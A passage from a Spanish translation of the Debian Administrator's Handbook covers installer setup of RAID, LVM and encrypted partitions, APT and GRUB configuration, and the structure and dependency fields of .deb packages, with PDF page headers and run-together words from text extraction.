Page 343: El Libro Del Administrador de Debian - Raphael Hertzog

Al elegir una partición puede elegir laforma en la que la va a utilizar:

darle formato e incluirla en elárbol de archivos eligiendo unpunto de montaje;utilizarla como partición swap;convertirla en un «volúmen físicopara cifrado» (para proteger laconfidencialidad de los datos enciertas particiones, revise abajo);convertirla en un «volúmen físicopara LVM» (se discute esteconcepto en detalle más adelanteen este capítulo);utilizarla como dispositivo RAID(revise más adelante en este

Page 344: El Libro Del Administrador de Debian - Raphael Hertzog

capítulo);o elegir no utilizarla y, por lotanto, no modificarla.

4.2.13.3. Configuración dedispositivos multidisco(RAID por software)

Algunos tipos de RAID permitenduplicar la información almacenada enlos discos duros para evitar la pérdidade datos en caso de que uno de ellossufra algún problema de hardware.RAID nivel 1 mantiene una copiasimple e idéntica (réplica, «mirror») deun disco duro en otro dispositivomientras que RAID nivel 4 divide datos

Page 345: El Libro Del Administrador de Debian - Raphael Hertzog

redundantes en varios discospermitiendo la reconstruccióncompleta de un dispositivo que falle.

Sólo describiremos RAID nivel 1 quees el más simple de implementar. Elprimer paso incluye crear dosparticiones del mismo tamaño en dosdiscos duros distintos y utilizarlascomo «volúmen físico para RAID».

Luego debe seleccionar «ConfigurarRAID por software» en la herramientade particionado para combinar estasdos particiones en un nuevo discovirtual y seleccionar «Crear dispositivoMD» en la pantalla de configuración.Luego necesita responder una serie de

Page 346: El Libro Del Administrador de Debian - Raphael Hertzog

preguntas sobre este nuevo dispositivo.La primera pregunta sobre el nivel deRAID a utilizar, que en nuestro casoserá «RAID1». La segunda pregunta essobre la cantidad de dispositivosactivos — dos en nuestro caso, que esla cantidad de particiones que tienenque incluirse en este dispositivo MD.La tercera pregunta sobre la cantidadde dispositivos libres — 0; no tenemosplaneado agregar discos adicionales derepuesto en caso que uno de los discosfalle. La última pregunta requiere queseleccione las particiones para elperiférico RAID — éstas serían las dosque separó para este propósito(asegúrese de seleccionar sólamente lasparticiones que mencionen «raid»

Page 347: El Libro Del Administrador de Debian - Raphael Hertzog

específicamente).

Nuevamente en el menú principal,aparecerá un nuevo disco «RAID». Estedisco se presenta con sólo una particiónque no puede ser eliminada pero a laque podemos especificar el uso que ledaremos (como con cualquier otrapartición).

Para maś detalles sobre funcionesRAID, revise la Section 12.1.1, “RAIDpor software”.

4.2.13.4. Configuración delgestor de volúmenes lógicos(LVM)

Page 348: El Libro Del Administrador de Debian - Raphael Hertzog

LVM le permite crear particiones«virtuales» a través de varios discos.Los beneficios son dobles: el tamañode las particiones no estará limitadopor el tamaño de los discosindividuales sino por el del conjuntocompleto y podrá, en cualquiermomento, aumentar el tamaño de unapartición existente agregando un discoadicional cuando lo necesite.

LVM utiliza una terminologíaparticular: una partición virtual es un«volúmen lógico», que es parte de un«grupo de volúmenes» o la asociaciónde varios «volúmenes físicos». Dehecho, cada uno de esos términos secorresponde con una partición «real» (o

Page 349: El Libro Del Administrador de Debian - Raphael Hertzog

dispositivo de RAID por software).

Esta técnica funciona de una formamuy simple: se divide cada volúmen,sea lógico o físico, en bloques delmismo tamaño que LVM hace quecoincidan. Agregar un nuevo discocausará la creación de un nuevovolúmen físico y sus nuevos bloquespueden ser asociados a cualquier grupode volúmenes. Todas las particionesdel grupo de volúmenes expandidotendrán espacio adicional sobre el queextenderse.

La herramienta de particionadoconfigura LVM en varios pasos.Primero debe crear las particiones en

Page 350: El Libro Del Administrador de Debian - Raphael Hertzog

los discos existentes que serán«volúmenes físicos para LVM». Paraactivar LVM debe seleccionar«Configurar el gestor de volúmeneslógicos (LVM)» y luego, en la mismapantalla de configuración, «Creargrupo de volúmenes» al que le asociarálos volúmenes físicos existentes.Finalmente podrá crear volúmeneslógicos dentro de este grupo devolúmenes. La herramienta departicionado automático es capaz deimplementar todo esto.

Cada volúmen físico aparecerá en elmenú de particionado como un discocon sólo una partición que no puede sereliminada pero que puede utilizar como

Page 351: El Libro Del Administrador de Debian - Raphael Hertzog

desee.

Se describe el uso de LVM con másdetalles en la Section 12.1.2, “LVM”.

4.2.13.5. Configuración departiciones cifradas

Para garantizar la confidencialidad desus datos, por ejemplo en el caso depérdida o robo de su equipo o un discoduro, es posible cifrar los datos enalgunas particiones. Se puede agregaresta funcionalidad bajo cualquiersistema de archivos ya que, como conLVM; Linux (en particular elcontrolador dm-crypt) utiliza el

Page 352: El Libro Del Administrador de Debian - Raphael Hertzog

mapeador de dispositivos («DeviceMapper») para crear una particiónvirtual (cuyo contenido es protegido)basándose en una partición subyacenteque almacenará los datos en formacifrada (gracias a LUKS,«configuración unificada de claves enLinux» por sus siglas en inglés, unformato estándar que permitealmacenar tanto datos encriptadoscomo también metainformación queindica los algoritmos de cifradoutilizados).

SEGURIDAD Partición swap cifrada

Cuando se utiliza una partición cifrada, sealmacena la clave de cifrado en memoria(RAM). Obtener esta clave permite

Page 353: El Libro Del Administrador de Debian - Raphael Hertzog

descfirar los datos, por lo que es de mayorimportancia evitar dejar una copia de estaclave que pueda ser accedida por elpotencial ladrón del equipo o disco duroo a un técnico de mantenimiento. Estopuede ocurrir fácilmente en un equipoportátil ya que al hibernar se almacenanlos contenidos de la RAM en la particiónSWAP. Si esta partición no se encuentracifrada, el ladrón podrá acceder a la clavey utilizarla para descifrar los datos de lasparticiones cifradas. Por esta razón,cuando utilice particiones cifradas ¡esimperativo también cifrar la particiónswap!

El instalador de Debian advertirá alusuario si intenta crear una particióncifrada cuando la partición swap no seacifrada también.

Page 354: El Libro Del Administrador de Debian - Raphael Hertzog

Para crear una partición cifradaprimero debe asignar una particióndisponible para este propósito. Lologrará seleccionando una partición eindicando que sea utilizada como«volúmen físico para cifrado». Luegode particionar el disco que contenga elvolúmen físico, seleccione «Configurarvolúmenes cifrados». El software lepropondrá inicializar el volúmen físicocon datos aleatorios (dificultando aúnmás la localización de los datos reales)y le pedirá que ingrese una «frase decifrado» que tendrá que ingresar cadavez que arranque el equipo para poderacceder al contenido de la particióncifrada. Una vez que complete estepaso y haya vuelto al menú de la

Page 355: El Libro Del Administrador de Debian - Raphael Hertzog

herramienta de particionado, tendrádisponible una nueva partición en un«volúmen cifrado» que puedeconfigurar como cualquier otrapartición. En la mayoría de los casos,utilizará esta partición como unvolúmen físico de LVM para protegervarias particiones (volúmenes lógicosLVM) con la misma clave de cifrado,incluyendo la partición swap (revise elrecuadro).

4.2.14. Instalando elsistema baseEste paso, que no necesita interacción

Page 356: El Libro Del Administrador de Debian - Raphael Hertzog

con el usuario, instala los paquetes del«sistema base» Debian. Esto incluyelas herramientas dpkg y apt queadministran los paquetes Debian, asícomo también los programasnecesarios para iniciar el sistema ycomenzar a utlizarlo. Los paquetesDebian se leen del disco (si se utilizaun CD netinst o un CD/DVD-ROMcompleto) o son descargados (cuandoutiliza un disco de instalación«businesscard»).

Figure 4.11. Instalación del sistemabase

Page 357: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.15. Configurandoel gestor de paquetes(apt)

Page 358: El Libro Del Administrador de Debian - Raphael Hertzog

Para poder instalar software adicional,necesita configurar APT para indicarledónde encontrar paquetes Debian. Estepaso es tan automático como esposible. Comienza preguntando si debeutilizar una fuente de paquetes en lared o si sólo debe buscar paquetes en elCD-ROM.

NOTA CD-ROM de Debian en eldispositivo

Si el instalador detecta un disco deinstalación de Debian en el lector deCD/DVD, no es necesario configurar APTpara que busque paquetes en la red: APTes configurado automáticamente para leerpaquetes de un dispositivo removible. Siel disco es parte de un conjunto el

Page 359: El Libro Del Administrador de Debian - Raphael Hertzog

software ofrecerá la opción de «explorar»otros discos para tener referencias a todoslos paquetes en ellos.

Si se desea obtener paquetes de la red,las siguientes dos preguntas lepermitirán elegir un servidor del quedescargar los paquetes seleccionandoprimero un país y luego una réplicadisponible en dicho país (una réplica esun servidor público que alberga copiasde todos los archivos del archivoprincipal de Debian).

Figure 4.12. Selección de una réplicade Debian

Page 360: El Libro Del Administrador de Debian - Raphael Hertzog

Finalmente, el programa proponeutilizar un proxy HTTP. Si noconfigura un proxy, accederá a internetdirectamente. Si ingresahttp://proxy.falcot.com:3128,APT utilizará el proxy/caché de Falco,un programa «Squid». Puede encontrar

Page 361: El Libro Del Administrador de Debian - Raphael Hertzog

estas configuraciones revisando laconfiguración de un navegador web enotro equipo conectado a la misma red.

Los archivos Packages.gz ySources.gz son descargadosautomáticamente para actualizar lalista de paquetes reconocidos por APT.

VOLVER A LOS CIMIENTOS ProxyHTTP

Un proxy HTTP es un servidor queredirige un pedido HTTP para usuarios dered. A veces ayuda a acelerar lasdescargas manteniendo una copia de losarchivos transferidos a través de él(hablamos entonces de un«proxy/caché»). En algunos casos es elúnico modo de acceder un servicio web

Page 362: El Libro Del Administrador de Debian - Raphael Hertzog

externo; en dichos casos es esencialresponder la pregunta correspondientedurante la instalación para que elprograma pueda descargar los paquetesDebian a través de él.

Squid es el nombre del software deservidor utilizado por Falcot Corp queofrece este servicio.

4.2.16. Concurso depopularidad depaquetes DebianEl sistema Debian contiene un paquetellamado popularity-contest cuyo

Page 363: El Libro Del Administrador de Debian - Raphael Hertzog

propósito es compilar estadísticas deluso de paquetes. Cada semana, estepaquete recopila información de lospaquetes instalados y aquellosutilizados recientemente y envía estainformación de forma anónima a losservidores del proyecto Debian. Elproyecto luego puede utilizar estainformación para determinar laimportancia relativa de cada paquete,lo que influencia la prioridad que se ledará a cada uno. En particular, lospaquetes más «populares» seránincluidos en el CD-ROM de instalaciónfacilitando el acceso a los mismos aaquellos usuarios que no deseendescargarlos o adquirir un conjuntocompleto.

Page 364: El Libro Del Administrador de Debian - Raphael Hertzog

Este paquete sólo se activa a pedidopor respeto a la confidencialidad de losdatos de uso de los usuarios.

4.2.17. Selección depaquetes parainstalaciónEl próximo paso le permite elegir elpropósito del equipo en términos muygenerales; las diez tareas sugeridascorresponden a listas de paquetes ainstalar. La lista de paquetes que seráinstalada realmente será adaptada ycompletada más adelante, pero proveeun buen punto de partida de forma

Page 365: El Libro Del Administrador de Debian - Raphael Hertzog

simple.

Algunos paquetes también soninstalados automáticamente según elhardware detectado (gracias alprograma discover-pkginstall delpaquete discover). Por ejemplo, si sedetecta una máquina virtual VirtualBoxel programa instalará el paquetevirtualbox-ose-guest-dkms que permiteuna mejor integración de la máquinavirtual con el sistema anfitrión.

Figure 4.13. Elección de tareas

Page 366: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.18. Instalación delgestor de arranqueGRUB

Page 367: El Libro Del Administrador de Debian - Raphael Hertzog

El gestor de arranque es el primerprogama iniciado por el BIOS. Esteprograma carga el núcleo Linux a lamemoria y luego lo ejecuta.Generalmente ofrece un menú que lepermite al usuario seleccionar elnúcleo y/o sistema operativo a iniciar.

CUIDADO El gestor de arranque e iniciodual

Esta fase en el proceso de instalación deDebian detecta los sistemas operativosque ya se encuentran instalados en elequipo y agrega los elementoscorrespondientes al menú de arranque,pero no todos los programas deinstalación lo hacen.

En particular, si luego instala (o reinstala)

Page 368: El Libro Del Administrador de Debian - Raphael Hertzog

Windows borrará el gestor de arranque.Debian seguirá en el disco duro pero nopodrá accederlo desde el menú dearranque. Necesitará inicar el sistema deinstalación de Debian en modo «rescate»(rescue) para configurar un gestor dearranque menos exclusivo. El manual deinstalación describe en detalle estaoperación.

→ http://www.debian.org/releases/stable/i386/ch08s07.html

De forma predeterminada, el menúpropuesto por GRUB contiene todos losnúcleos Linux instalados así comotambién todos los demás sistemaoperativos detectados. Es por estarazón que debería aceptar la oferta deinstalarlo en el registro de arranque

Page 369: El Libro Del Administrador de Debian - Raphael Hertzog

maestro («Master Boot Record»). Serecomienda mantener al menos tresversiones anteriores del núcleo ya quehacerlo mantiene su capacidad deiniciar el mismo sistema cuando elúltimo núcleo instalado es defectuoso ono se adapta correctamente alhardware.

GRUB es el gestor de arranqueinstalado por Debian de formapredeterminada gracias a susuperioridad técnica: funciona con lamayoría de los sistemas de archivo yno necesita actualizarlo luego de cadainstalación de un nuevo núcleo ya quelee su configuración durante el inicio yencuentra la posición exacta del nuevo

Page 370: El Libro Del Administrador de Debian - Raphael Hertzog

núcleo. La versión 1 de GRUB (ahoraconocida como «Grub Legacy») no eracompatible con todas lascombinaciones de LVM y RAID porsoftware; la versión 2, instalada deforma predeterminada, es máscompleta. Aún pueden existirsituaciones donde es másrecomendable instalar LILO (otrogestor de arranque); el instalador losugerirá automáticamente.

Para más información sobre laconfiguración de GRUB, revise laSection 8.8.3, “Configuración deGRUB 2”.

CUIDADO Gestores de arranque y

Page 371: El Libro Del Administrador de Debian - Raphael Hertzog

arquitecturas

LILO y GRUB, mencionados en estecapítulo, son los gestores de arranquepara las arquitecturas i386 y amd64. Siinstala Debian en otra arquitecturanecesitará utilizar otro gestor dearranque. Entre ellos podemos citaryaboot o quik para powerpc, silo parasparc, elilo para ia64, aboot para alpha,arcboot para mips, atari-bootstrap ovme-lilo para m68k.

4.2.19. Finalización dela instalación yreiniciado

Page 372: El Libro Del Administrador de Debian - Raphael Hertzog

La instalación ahora está completa, elprograma le invita a quitar el CD-ROMy reiniciar el equipo.

Page 373: El Libro Del Administrador de Debian - Raphael Hertzog

4.3. Luego delprimer arranqueSi activó la tarea «Entorno gráfico deescritorio», el equipo mostrará elgestor de inicio de sesión gdm.

Figure 4.14. Primer arranque

Page 374: El Libro Del Administrador de Debian - Raphael Hertzog

El usuario que fue creado puede iniciarsesión y comenzar a trabajarinmediatamente.

4.3.1. Instalación de

Page 375: El Libro Del Administrador de Debian - Raphael Hertzog

software adicionalLos paquetes instalados corresponden alos perfiles seleccionados durante lainstalación pero no necesariamentepara el uso que se le dará realmente alequipo. Por lo tanto, podría desearutilizar una herramienta de gestión depaquetes para refinar la selección depaquetes instalados. Las dosherramientas utilizadas másfrecuentemente (que son instaladas sise eligió el perfil «Entorno gráfico deescritorio») son apt (disponible desdela línea de órdenes) y synaptic(Sistema → Administración →Administrador de paquetes Synaptic).

Page 376: El Libro Del Administrador de Debian - Raphael Hertzog

Para facilitar la instalación de gruposde programas coherentes, Debian crea«tareas» dedicadas a usos específicos(servidor de correo, servidor dearchivos, etc.). Tuvo oportunidad deseleccionarlos durante la instalación ypuede accederlos nuevamente gracias aherramientas de gestión de paquetescomo aptitude (las tareas seencuentran en una sección particular) ysynaptic (a través del menú Editar →Marcar paquetes por tarea...).

Aptitude es una interfaz para APT depantalla completa en modo texto.Permite al usuario navegar la lista depaquetes disponibles según variascategorías (paquetes instalados o no

Page 377: El Libro Del Administrador de Debian - Raphael Hertzog

instalados, por tarea, por sección, etc.)y revisar toda la informacióndisponible para cada uno de ellos(dependencias, conflictos, descripción,etc.). Cada paquete puede ser marcado«install» (para instalar, la tecla +) o«remove» (para eliminar, la tecla -), Serealizarán todas estas operacionessimultáneamente una vez que lasconfirme presionando la tecla g (por«go!», «¡adelante!»). Si se olvidóalgunos programas no se preocupe;podrá ejecutar aptitude nuevamenteuna vez que se completó la instalacióninicial.

SUGERENCIA Debian piensa en quienesno hablan inglés

Page 378: El Libro Del Administrador de Debian - Raphael Hertzog

Muchas tareas están dedicadas a lalocalización del sistema a otros idiomasademás del inglés. Incluyendocumentación traducida, diccionarios yvarios otros paquetes útiles a quieneshablen distintos idiomas. Se selecciona latarea apropiada automáticamente siseleccionó un idioma distinto al inglésdurante la instalación.

CULTURA dselect, la antigua interfazpara instalar paquetes

Antes de aptitude, el programa estándarpara seleccionar paquetes a instalar eradselect, la antigua interfaz gráficaasociada con dpkg. Es un programa difícilde utilizar para principiantes, no esrecomendado.

Page 379: El Libro Del Administrador de Debian - Raphael Hertzog

Por supuesto, se puede no seleccionartarea alguna para instalar. En este caso,puede instalar manualmente elsoftware deseado con apt-get oaptitude (ambos disponibles en lalínea de órdenes).

VOCABULARIO Dependencias de unpaquete, conflictos

En la jerga de empaquetado de Debian,una «dependencia» es otro paquetenecesario para que el paquete en cuestiónfuncione correctamente. A la inversa, un«conflicto» es un paquete que no puedeser instalado junto con otro.

Se discuten estos conceptos con másdetalles en el Chapter 5, Sistema de

Page 380: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes: herramientas y principiosfundamentales.

4.3.2. Actualizacióndel sistemaAl principio, generalmente senecesitaba aptitude safe-upgrade (unaorden utilizada para actualizarautomáticamente los programasinstalados), especialmente debido aposibles actualizaciones de seguridadpublicadas desde la entrega de laúltima versión estable de Debian. Estasactualizaciones podrían requerirpreguntas adicionales a través de

Page 381: El Libro Del Administrador de Debian - Raphael Hertzog

debconf, la herramienta estándar paraconfiguración en Debian. Para másinformación sobre estasactualizaciones realizadas por aptituderevise la Section 6.2.3, “Actualizacióndel sistema”.

Page 382: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 5. Sistemade paquetes:herramientas yprincipiosfundamentalesComo un administrador de un sistemaDebian generalmente manejarápaquetes .deb ya que contienenunidades funcionales consistentes(aplicaciones, documentación, etc.)facilitando su instalación ymantenimiento. Por lo tanto, es buena

Page 383: El Libro Del Administrador de Debian - Raphael Hertzog

idea saber qué son y cómo utilizarlos.

Este capítulo describe la estructura ylos contenidos de paquetes «binarios» y«fuente». Los primeros son archivos.deb para utilizar directamente condpkg mientras que los últimoscontienen el código fuente así como lasinstrucciones para crear los paquetesbinarios.

5.1. Estructura deun paquete binarioEl formato del paquete Debian fuediseñado para que su contenido pueda

Page 384: El Libro Del Administrador de Debian - Raphael Hertzog

ser extraído en cualquier sistema Unixque tenga los programas clásicos ar,tar y gzip. Esta propiedadaparentemente trivial es importantepara portabilidad y recuperación encaso de desastres.

Imagine por ejemplo que eliminó porerror el programa dpkg y que, por lotanto, ya no puede instalar paquetesDebian. Siendo dpkg un paquete en símismo pareciera como que su sistemaestuviese condenado...afortunadamente conoce el formato deun paquete y puede descargar elarchivo .deb para el paquete dpkg einstalarlo manualmente (revise elrecuadro «HERRAMIENTAS»). Si por

Page 385: El Libro Del Administrador de Debian - Raphael Hertzog

cualquier motivo o problema uno omás de los programas ar, tar o gzipdesaparecieron sólo necesitará copiarel programa faltante de otro sistema(ya que cada uno de ellos funciona deforma completamente autónoma unasimple copia bastará).

HERRAMIENTAS dpkg, APT y ar

dpkg es el programa que maneja losarchivos .deb, en particular los extrae,analiza y descomprime.

APT es un grupo de programas quepermite la ejecución de modificaciones demás alto nivel al sistema: instalar oeliminar un paquete (mientras mantienedependencias satisfechas), actualizar elsistema, listar los paquetes disponibles,

Page 386: El Libro Del Administrador de Debian - Raphael Hertzog

etc.

En cuanto al programa ar, permitemanejar los archivos del mismo nombre:ar t compendio muestra la lista dearchivos contenidos en el compendio, arx compendio extrae dichos archivos aldirectorio actual, ar d compendio archivoelimina un archivo del compendio, etc. Supágina de manual (ar(1)) documenta susmuchas otras operaciones. ar es unaherramienta muy rudimentaria que unadministrador Unix sólo utilizaría enraras ocasiones, pero utilizaríanrutinariamente tar, un programa demanejo de archivos y compendios másevolucionado. Es por eso que es sencillorestaurar dpkg en el caso de que seaeliminado por error. Sólo necesitadescargar el paquete Debian y extraer elcontenido del archivo data.tar.gz en la

Page 387: El Libro Del Administrador de Debian - Raphael Hertzog

raíz del sistema (/):

# ar x dpkg_1.15.8.5_i386.deb

# tar -C / -p -xzf data.tar.gz

VOLVER A LOS CIMIENTOS Notaciónde páginas de manual

Los principiantes pueden encontrarconfusas las referencias como «ar(1)» enla literatura. Generalmente esta es unaforma conveniente de referirse a la páginade manual titulada ar en la sección 1.

Algunas veces se utiliza esta notaciónpara eliminar ambigüedades, por ejemplopara distinguir entre el programa printf,que también puede indicarse comoprintf(1), y la función printf del lenguajede programación C, que también puedeindicarse como printf(3).

Page 388: El Libro Del Administrador de Debian - Raphael Hertzog

El Chapter 7, Resolver problemas yencontrar información relevante discutelas páginas de manual con más detalles(revise la Section 7.1.1, “Páginas demanual”).

Estos son los contenidos de un archivo.deb:

$ ar t dpkg_1.15.8.5_i386.deb

debian-binary

control.tar.gz

data.tar.gz

$ ar x dpkg_1.15.8.5_i386.deb

$ ls

control.tar.gz data.tar.gz debian-binary dpkg_1.15.8.5_i386.deb

$ tar tzf data.tar.gz | head -15

./

./var/

./var/lib/

Page 389: El Libro Del Administrador de Debian - Raphael Hertzog

./var/lib/dpkg/

./var/lib/dpkg/updates/

./var/lib/dpkg/parts/

./var/lib/dpkg/info/

./var/lib/dpkg/alternatives/

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/sbin/

./usr/sbin/install-info

./usr/bin/

./usr/bin/dpkg-split

$ tar tzf control.tar.gz

./

./control

./preinst

./md5sums

./conffiles

./postrm

./postinst

$ cat debian-binary

2.0

Page 390: El Libro Del Administrador de Debian - Raphael Hertzog

Como puede ver, el compendio ar deun paquete Debian contiene tresarchivos:

debian-binary. Es un archivo detexto que indica simplemente laversión del archivo .deb utilizado(en 2011: versión 2.0).control.tar.gz. Este compendiocontiene toda la metainformacióndisponible. Las herramientas degestión de paquetes encuentran enél, entre otras cosas, el nombre yla versión del paquete. Alguna deesta metainformación les permitedeterminar si es posible instalar odesinstalarlo, por ejemplo segúnla lista de paquetes que ya se

Page 391: El Libro Del Administrador de Debian - Raphael Hertzog

encuentran en el equipo.data.tar.gz. Este compendiocontiene todos los archivos aextraerse del paquete; aquí esdonde están almacenados losarchivos ejecutables, ladocumentación etc. Algunospaquetes pueden utilizar otrosformatos de compresión, en losque el archivo tendrá otro nombre(data.tar.bz2 para bzip2mdata.tar.xz para XZ,data.tar.lzma para LZMA).

Page 392: El Libro Del Administrador de Debian - Raphael Hertzog

5.2. Metainformaciónde un paqueteUn paquete Debian no es sólo uncompendio de archivos a instalar. Esparte de un todo más grande y describesu relación con otros paquetes Debian(dependencias, conflictos,sugerencias). También provee scriptsque permiten la ejecución de órdenesen diferentes etapas del ciclo de vidadel paquete (instalación, eliminación,actualización). Estos datos utilizadospor las herramientas de gestión depaquetes no son parte del softwareempaquetado pero son, dentro del

Page 393: El Libro Del Administrador de Debian - Raphael Hertzog

paquete, lo que se denomina«metainformación» (información sobreotra información).

5.2.1. Descripción: elarchivo controlEste archivo utiliza una estructurasimilar a las cabeceras de email(definidas en RFC 2822). Por ejemploel archivo control de apt se ve de lasiguiente forma:

$ apt-cache show apt

Package: apt

Priority: important

Page 394: El Libro Del Administrador de Debian - Raphael Hertzog

Section: admin

Installed-Size: 5612

Maintainer: APT Development Team <[email protected]>

Architecture: i386

Version: 0.8.0

Replaces: manpages-pl (<< 20060617-3~)

Provides: libapt-pkg4.10

Depends: libc6 (>= 2.3.4), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.4.0), zlib1g (>= 1:1.1.4), debian-archive-keyring, gnupg

Suggests: aptitude | synaptic | wajig, dpkg-dev, apt-doc, bzip2, lzma, python-apt

Conflicts: python-apt (<< 0.7.93.2~)

Filename: pool/main/a/apt/apt_0.8.0_i386.deb

Size: 1965454

MD5sum: 43364819b898e49b8175e88ec5787241

SHA1: 350a8a7a43fe182d54f3b7d73b8032f85b5d7ddf

SHA256: a593e7d7f9b3cffa37770201a3c13bd2c8bc588bafbf39b4aaa5e13b5fb00b8b

Description: Advanced front-end for dpkg

This is Debian's next generation front-end for the dpkg package manager.

It provides the apt-get utility and APT dselect method that provides a

simpler, safer way to install and upgrade packages.

.

APT features complete installation ordering, multiple source capability

and several other unique features, see the Users Guide in apt-doc.

Page 395: El Libro Del Administrador de Debian - Raphael Hertzog

Tag: admin::package-management, hardware::storage, hardware::storage:cd, interface::commandline, network::client, protocol::{ftp,http,ipv6}, role::program, suite::debian, use::downloading, use::searching, works-with::software:package

VOLVER A LOS CIMIENTOS RFC —estándares de internet

RFC son las siglas de «pedido decomentarios» («Request For Comments»).Un RFC es generalmente un documentotécnico que describe lo que se convertiráen un estándar de internet. Antes deconvertirse en estándar y congelarse,éstos estándares son enviados pararevisión pública (de ahí su nombre). LaIETF («Internet Engineering Task Force»:grupo de trabajo de ingeniería deinternet) decide sobre la evolución delestado de estos documentos (estándarespropuestos, borradores de estándar oestándar).

RFC 2026 define el proceso de

Page 396: El Libro Del Administrador de Debian - Raphael Hertzog

estadarización de protocolos de internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dependencias: elcampo Depends

Las dependencias están definidas en elcampo Depends en la cabecera delpaquete. Esta es una lista decondiciones a cumplir para que elpaquete funcione correctamente — lasherramientas como apt utilizan estainformación para instalar lasbibliotecas necesarias, las versionesapropiadas, de las que depende elpaquete a instalar. Para cada

Page 397: El Libro Del Administrador de Debian - Raphael Hertzog

dependencia es posible restringir elrango de versiones que cumplen dichacondición. En otras palabras, es posibleexpresar el hecho de que necesitamosel paquete libc6 en una versión igual omayor a «2.3.4» (escrito como «libc6(>= 2.3.4)». Los operadores decomparación de versiones son lossiguientes:

<<: menor que;<=: menor o igual que;=: igual a (note que «2.6.1» no esigual a «2.6.1-1»);>=: mayor o igual que;>>: mayor que.

En una lista de condiciones a cumplir,

Page 398: El Libro Del Administrador de Debian - Raphael Hertzog

la coma sirve como separador. Enlógica su significado sería el de «y».En las condiciones una barra vertical(«|») expresa un «o» lógico (es un «o»inclusivo en lugar de significar «uno oel otro»). Tiene más prioridad que «y»y puede ser utilizado tantas veces comosea necesario. Por lo tanto, ladependencia «(A o B) y C» se escribeA | B, C. Por otro lado, la expresión «Ao (B y C)» debe escribirse «(A o B) y(A o C)» ya que el campo Depends nopermite paréntesis que cambien elorden de las prioridades entre losoperadores lógicos «o» e «y». Por lotanto, se lo escribiría A | B, A | C.

→ http://www.debian.org/doc/debian-

Page 399: El Libro Del Administrador de Debian - Raphael Hertzog

policy/ch-relationships.html

El sistema de dependencias es un buenmecanismo para garantizar elfuncionamiento de un programa, perotiene otro uso con los «metapaquetes».Éstos son paquetes vacíos que sólodescriben dependencias. Facilitan lainstalación de un grupo consistente deprogramas preseleccionados por eldesarrollador del metapaquete; comotal apt-get install metapaqueteinstalará automáticamente todos estosprogramas utilizando las dependenciasdel metapaquete. Los paquetes gnome,kde y linux-image-2.6-686, porejemplo, son metapaquetes.

Page 400: El Libro Del Administrador de Debian - Raphael Hertzog

NORMA DEBIAN Pre-Depends, unDepends más exigentes

Las «predependencias», listadas en elcampo «Pre-Depends» de las cabeceras deun paquete, completan las dependenciasnormales; la sintaxis es idéntica. Unadependencia normal indica que el paqueteen cuestión debe ser desempaquetado yconfigurado antes del paquete quedeclara la dependencia. Unapredependencia estipula que el paqueteen cuestión debe ser desempaquetado yconfigurado antes de la ejecución delscript de preinstalación del paquete quedeclara la predependencia, es decir antesde su instalación.

Una predependencia es muy exigentepara apt porque agrega una restricciónestricta en el orden de instalación de los

Page 401: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes. Por lo tanto se intenta evitarpredependencias a menos que seaabsolutamente necesario. Esrecomendable aún consultar a otrosdesarrolladores en <[email protected]> antes deagregar una predependencia.Generalmente es posible encontrar otrasolución para evitarlo.

NORMA DEBIAN Campos Recommends,Suggests y Enhances

Los campos Recommends y Suggestsdescriben dependencias que no sonobligatorias. Las dependencias«recomendadas», las más importantes,mejoran considerablemente lafuncionalidad ofrecida por el paquetepero no son indispensables para su

Page 402: El Libro Del Administrador de Debian - Raphael Hertzog

funcionamiento. Las dependencias«sugeridas», de importancia secundaria,indica que ciertos paquetescomplementarían y aumentarían suutilidad pero es perfectamente razonableinstalar uno sin los otros.

Siempre debería instalar los paquetes«recomendados» a menos que sepaexactamente que no los necesita. Por elcontrario, no es necesario instalarpaquetes «sugeridos» a menos que sepaporqué los necesita.

El campo Enhances también describe unasugerencia pero en un contexto diferente.Está ubicado en el paquete sugerido, noen el paquete que se beneficia de lasugerencia. Por lo tanto, todos losagregados, plugins y otras extensiones deun programa pueden tener un lugar en la

Page 403: El Libro Del Administrador de Debian - Raphael Hertzog

lista de sugerencias relacionadas alsoftware. Si bien existe desde hace variosaños, este último campo es generalmenteignorado por programas como apt-get osynaptic. Su propósito es que unasugerencia en el campo Enhancesaparezca ante el usuario además de lassugerencias tradicionales — que seencuentran en el campo Suggests.

5.2.1.2. Conflitos: el campoConflicts

El campo Conflicts indica que unpaquete no puede instalarsesimultáneamente con otro. La razónmás común es que ambos paquetescontienen un archivo con el mismo

Page 404: El Libro Del Administrador de Debian - Raphael Hertzog

nombre, provee el mismo servicio en elmismo puerto TCP o estorban elfuncionamiento del otro.

dpkg se negará a instalar un paquete sigenera un conflicto con un paquete yainstalado, excepto si el nuevo paqueteespecifica que «reemplazará» alpaquete instalado en cuyo caso dpkgelegirá reemplazar el paquete existentecon el nuevo. apt-get siempre seguirásus instrucciones: si desea instalar unnuevo paquete ofreceráautomáticamente desinstalar el paqueteque genera problemas.

5.2.1.3. Incompatibilidades:el campo Breaks

Page 405: El Libro Del Administrador de Debian - Raphael Hertzog

El campo Breaks tiene un efectosimilar al del campo Conflicts perocon un significado especial. Indica quela instalación de un paquete «romperá»otro paquete (o versiones particularesdel mismo). En general, estaincompatibilidad entre dos paquetes estemporal y la relación Breaks serefiere específicamente a las versionesincompatibles.

dpkg se negará a instalar un paqueteque rompe un paquete ya instalado yapt-get intentará resolver el problemaactualizando a una nueva versión elpaquete que se rompería (que se asumeestaría arreglado y, por lo tanto, seríacompatible nuevamente).

Page 406: El Libro Del Administrador de Debian - Raphael Hertzog

Este tipo de situaciones pueden ocurriren casos de actualizaciones que no seancompatibles con versiones anteriores:este es el caso si una nueva versión yano funciona con la versión anterior ycausa un mal funcionamiento en otrosprogramas si no se toman medidasespeciales. El campo Breaks previeneque el usuario se tope con estosproblemas.

5.2.1.4. Elementos provistos:el campo Provides

Este campo introduce el conceptointeresante de un «paquete virtual».Tiene muchos roles pero hay dos

Page 407: El Libro Del Administrador de Debian - Raphael Hertzog

